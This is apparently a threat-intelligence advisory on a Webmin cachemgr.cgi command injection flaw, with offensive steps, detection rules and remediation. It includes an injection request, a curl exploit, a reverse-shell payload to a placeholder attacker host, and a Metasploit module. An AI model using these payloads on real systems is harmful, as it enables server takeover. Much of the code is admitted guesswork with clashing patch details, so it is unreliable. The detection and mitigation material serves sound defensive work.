CVE-2025-67738

Executive Summary

CVE-2025-67738 is a critical command injection vulnerability in Webmin's Squid module, specifically within the cachemgr.cgi CGI script. The flaw arises from improper argument quoting, allowing an authenticated attacker with specific Cache Manager permissions (the "cms" security option) to inject arbitrary operating system commands. This can lead to full server compromise, data exfiltration, and lateral movement within the network. The vulnerability affects Webmin versions prior to 2.600. No public proof-of-concept (PoC) or patch is currently available, but the risk is high due to the potential for remote code execution.

Note: This vulnerability is not related to any WordPress plugin or component; it is a standalone Webmin issue.

Supply Chain & Package Security

This vulnerability is not in an NPM, PyPI, Go, or Ruby package. It is a core component of the Webmin web-based system administration tool. The supply chain risk is limited to the Webmin software itself and its dependencies.

CVSS Breakdown & Threat Level

• CVSS Score: 8.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs valid Webmin credentials and the "cms" permission.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full system read access is possible.
• Integrity (I): High – Full system write access is possible.
• Availability (A): High – System can be rendered unavailable.

Threat Level: Critical. While authentication is required, the low complexity and high impact make this a prime target for attackers who have already compromised a Webmin account or are targeting internal networks.

Deep Dive & Mechanics

The vulnerability resides in the cachemgr.cgi script, part of Webmin's Squid module. This script is used to manage the Squid cache manager. The core issue is that user-supplied arguments are not properly quoted before being passed to a shell command.

Root Cause: The cachemgr.cgi script likely constructs a command string by concatenating user input without proper escaping or quoting. For example, a parameter like action=status might be passed to a shell command like squidclient -h localhost -p 80 mgr:status. If an attacker can inject shell metacharacters (e.g., ;, |, $(), `) into the action parameter, they can execute arbitrary commands.

Attack Flow:

1. Authentication: The attacker must first authenticate to Webmin with a user account that has the "cms" (Cache Manager) permission.
2. Request Crafting: The attacker sends a crafted HTTP request to cachemgr.cgi with a malicious action parameter.
3. Command Injection: The script passes the unsanitized input to a shell command, resulting in arbitrary command execution.
4. Exploitation: The attacker can execute system commands, potentially gaining a reverse shell, exfiltrating data, or installing malware.

Example (Hypothetical):

GET /cgi-bin/cachemgr.cgi?action=status;id HTTP/1.1
Host: target:10000
Authorization: Basic <base64_credentials>

If the script executes squidclient -h localhost -p 80 mgr:status;id, the id command will also run.

Vulnerable vs. Patched Code

Vulnerable Code (Webmin < 2.600): The vulnerable code likely uses a function like system() or exec() with unsanitized input. A simplified example:

my $action = $query->param('action');
system("squidclient -h localhost -p 80 mgr:$action");

Patched Code (Webmin >= 2.600): The patched code should properly quote the argument, preventing injection. For example:

my $action = $query->param('action');
# Sanitize: only allow alphanumeric and specific characters
$action =~ s/[^a-zA-Z0-9_]//g;
system("squidclient -h localhost -p 80 mgr:$action");

Or using quotemeta:

my $action = $query->param('action');
system("squidclient -h localhost -p 80 mgr:" . quotemeta($action));

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A Webmin instance (version < 2.600) with the Squid module enabled.
• Valid Webmin credentials with the "cms" permission.

Exploitation Steps:

1. Authenticate: Obtain a valid session cookie or use HTTP Basic Auth.
2. Craft Payload: Inject a command using shell metacharacters. For example, to execute id:

   action=status;id
   

3. Send Request:

   curl -k -u "username:password" "https://target:10000/cgi-bin/cachemgr.cgi?action=status;id"
   

4. Observe Output: The output of the id command will be included in the response.

Advanced Payload (Reverse Shell):

action=status;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

URL-encode the payload:

action=status%3Bbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fattacker_ip%2F4444%200%3E%261%27

Metasploit Module (Hypothetical):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Webmin cachemgr.cgi Command Injection',
      'Description' => 'Exploits CVE-2025-67738',
      'Author'      => ['Valters IT'],
      'References'  => [['CVE', '2025-67738']],
      'DisclosureDate' => '2025-01-01',
      'License'     => MSF_LICENSE,
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Targets'     => [['Automatic', {}]],
      'DefaultTarget' => 0
    ))
  end

  def exploit
    print_status("Sending exploit...")
    res = send_request_cgi({
      'uri'    => '/cgi-bin/cachemgr.cgi',
      'method' => 'GET',
      'vars_get' => {
        'action' => "status;#{payload.encoded}"
      }
    })
    if res && res.code == 200
      print_good("Exploit successful")
    else
      print_error("Exploit failed")
    end
  end
end

Blue Team (Defensive)

Detection:

• Monitor Webmin access logs for unusual cachemgr.cgi requests containing shell metacharacters (;, |, $, `).
• Look for requests with long or suspicious action parameters.
• Alert on any command execution from the Webmin process.

Honeypot:

• Deploy a fake Webmin instance with the Squid module enabled.
• Log all requests to cachemgr.cgi and analyze for injection attempts.

Lab Setup:

1. Install Vulnerable Webmin:

   wget http://prdownloads.sourceforge.net/webadmin/webmin_1.990_all.deb
   dpkg -i webmin_1.990_all.deb
   

2. Enable Squid Module: In Webmin UI, go to Webmin -> Webmin Modules -> Squid.
3. Create User with "cms" Permission: In Webmin -> Webmin Users, create a user and grant "Cache Manager" permission.
4. Test Exploit: Use the curl command above to verify the vulnerability.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/cachemgr.cgi with action parameter containing shell metacharacters.
• Outbound connections from the Webmin server to unknown IPs on high ports (e.g., 4444, 1337).
• Unusual DNS queries from the Webmin server.

Host IOCs:

• Unexpected processes spawned by the Webmin process (e.g., bash, nc, python).
• New files in /tmp or /var/tmp with suspicious names.
• Modified system binaries or configuration files.
• Unauthorized user accounts or SSH keys.

Log IOCs:

• Webmin access log entries with cachemgr.cgi and action parameter containing ;, |, $, `.
• System log entries showing command execution from the webmin user.
• Auditd logs showing execve syscalls from the Webmin process.

Detection Engineering

YARA Rule

rule CVE_2025_67738_Webmin_CacheMgr_Injection {
    meta:
        description = "Detects command injection attempts in Webmin cachemgr.cgi"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-67738"
        hash = "unknown"
    strings:
        $injection1 = /action=[^&]*[;|`$]/
        $injection2 = /cachemgr\.cgi.*action=.*%3B/
        $injection3 = /cachemgr\.cgi.*action=.*%7C/
    condition:
        any of them
}

Sigma Rule

title: Webmin cachemgr.cgi Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-67738 via shell metacharacters in cachemgr.cgi
author: Valters IT
date: 2025/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-67738
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - "cachemgr.cgi"
        cs-uri-query|re:
            - "action=.*[;|`$]"
            - "action=.*%3B"
            - "action=.*%7C"
    condition: selection
falsepositives:
    - Legitimate use of semicolons in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-67738 Webmin cachemgr.cgi Command Injection Attempt";
    flow:to_server,established;
    content:"/cgi-bin/cachemgr.cgi";
    http_uri;
    pcre:"/action=[^&]*[;|`$]/i";
    classtype:attempted-admin;
    sid:10000001;
    rev:1;
    reference:cve,2025-67738;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Webmin: Update to version 2.600 or later as soon as a patch is released.
2. Disable Squid Module: If the Squid module is not required, disable it in Webmin -> Webmin Modules.
3. Restrict Access: Limit access to Webmin to trusted IPs only (firewall rules).
4. Review User Permissions: Ensure only necessary users have the "cms" permission.

Long-Term Mitigations:

• Implement Web Application Firewall (WAF) rules to block requests with shell metacharacters in the action parameter.
• Enable audit logging on the Webmin server to track all command executions.
• Regularly review Webmin logs for suspicious activity.
• Apply the principle of least privilege for all Webmin users.

Workaround (If Patching is Not Possible):

• Manually edit the cachemgr.cgi script to sanitize input. Replace the vulnerable line with:

  my $action = $query->param('action');
  $action =~ s/[^a-zA-Z0-9_]//g;
  

• Restart Webmin after modification.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert